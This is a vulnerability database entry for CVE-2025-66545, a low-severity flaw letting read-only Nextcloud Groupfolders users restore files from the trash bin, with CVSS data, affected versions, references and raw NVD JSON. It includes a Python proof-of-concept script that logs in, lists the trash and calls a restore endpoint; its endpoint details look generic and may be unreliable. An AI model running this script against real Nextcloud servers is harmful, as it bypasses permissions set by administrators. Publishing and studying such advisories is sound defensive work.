Security Vulnerability Report
中文
CVE-2025-66545 CVSS 3.5 LOW

CVE-2025-66545

Published: 2025-12-05 18:15:58
Last Modified: 2025-12-09 19:10:33

Description

Nextcloud Groupfolders provides admin-configured folders shared by everyone in a group or team. Prior to 14.0.11, 15.3.12, 16.0.15, 17.0.14, 18.1.8, 19.1.8, and 20.1.2, a user with read-only permission can restore a file from the trash bin. This vulnerability is fixed in 14.0.11, 15.3.12, 16.0.15, 17.0.14, 18.1.8, 19.1.8, and 20.1.2.

CVSS Details

CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nextcloud:group_folders:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nextcloud:group_folders:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nextcloud:group_folders:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nextcloud:group_folders:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nextcloud:group_folders:*:*:*:*:*:*:*:* - VULNERABLE
Nextcloud Groupfolders < 14.0.11
Nextcloud Groupfolders < 15.3.12
Nextcloud Groupfolders < 16.0.15
Nextcloud Groupfolders < 17.0.14
Nextcloud Groupfolders < 18.1.8
Nextcloud Groupfolders < 19.1.8
Nextcloud Groupfolders < 20.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-66545 PoC - Nextcloud Groupfolders Trash File Restore # Target: Nextcloud instance with vulnerable Groupfolders version # Author: Security Researcher TARGET_URL = "https://target-nextcloud.example.com" USERNAME = "attacker" PASSWORD = "password123" GROUPFOLDER_ID = "1" # Target groupfolder ID FILE_TO_RESTORE = "deleted_file.txt" session = requests.Session() # Step 1: Authenticate to Nextcloud login_url = f"{TARGET_URL}/index.php/login" login_data = { "user": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) if response.status_code != 200: print(f"[-] Authentication failed") exit(1) print("[+] Authentication successful") # Step 2: List files in trash bin (as read-only user) trash_url = f"{TARGET_URL}/remote.php/dav/files/{USERNAME}/.trash/{GROUPFOLDER_ID}/" response = session.get(trash_url) if response.status_code == 207: print("[+] Successfully accessed trash bin (read-only user)") print(f"[+] Trash contents: {response.text}") else: print(f"[-] Failed to access trash: {response.status_code}") exit(1) # Step 3: Restore file from trash bin (exploiting the vulnerability) # This should fail for read-only users, but succeeds due to the vulnerability restore_url = f"{TARGET_URL}/apps/groupfolders/api/v1/trash/{GROUPFOLDER_ID}/restore" restore_data = { "filePath": FILE_TO_RESTORE, "folderId": GROUPFOLDER_ID } response = session.post(restore_url, json=restore_data, headers={"OCS-APIREQUEST": "true"}) if response.status_code == 200: result = response.json() if result.get("ocs", {}).get("meta", {}).get("statuscode") == 200: print(f"[!] VULNERABLE: Read-only user successfully restored file: {FILE_TO_RESTORE}") print(f"[!] This demonstrates CVE-2025-66545") else: print("[-] File restore was blocked (patched version)") else: print(f"[-] Unexpected response: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66545", "sourceIdentifier": "[email protected]", "published": "2025-12-05T18:15:57.803", "lastModified": "2025-12-09T19:10:33.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nextcloud Groupfolders provides admin-configured folders shared by everyone in a group or team. Prior to 14.0.11, 15.3.12, 16.0.15, 17.0.14, 18.1.8, 19.1.8, and 20.1.2, a user with read-only permission can restore a file from the trash bin. This vulnerability is fixed in 14.0.11, 15.3.12, 16.0.15, 17.0.14, 18.1.8, 19.1.8, and 20.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-707"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:group_folders:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.0.11", "matchCriteriaId": "4ABD858C-8EC4-4507-8A90-9C5949CE38B2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:group_folders:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0.0", "versionEndExcluding": "15.3.12", "matchCriteriaId": "95CD54FB-7784-4855-AB57-62043D1CF549"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:group_folders:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.15", "matchCriteriaId": "16939A8A-F224-4A61-8939-ED7204075D4C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:group_folders:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.0.0", "versionEndExcluding": "17.0.14", "matchCriteriaId": "B05F453B-E12E-495E-BEA3-B7C62680B92D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:group_folders:*:*:*:*:*:*:*:*", "versionStartIncluding": "18.0.0", "versionEndExcluding": "18.1.8", "matchCriteriaId": "9B89A828-C673-431F-B0D4-73D3BAA6B70A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:group_folders:*:*:*:*:*:*:*:*", "versionStartIncluding": "19.0.0", "versionEndExcluding": "20.1.2", "matchCriteriaId": "19B3F8FA-A80C-4A55-8215-C28C2E432CD3"}]}]}], "references": [{"url": "https://github.com/nextcloud/groupfolders/commit/bbe87ebed8da23e9df4db637a76fbc8d36439d58", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nextcloud/groupfolders/issues/4041", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/nextcloud/groupfolders/pull/4076", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-2vrq-fhmf-c49m", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}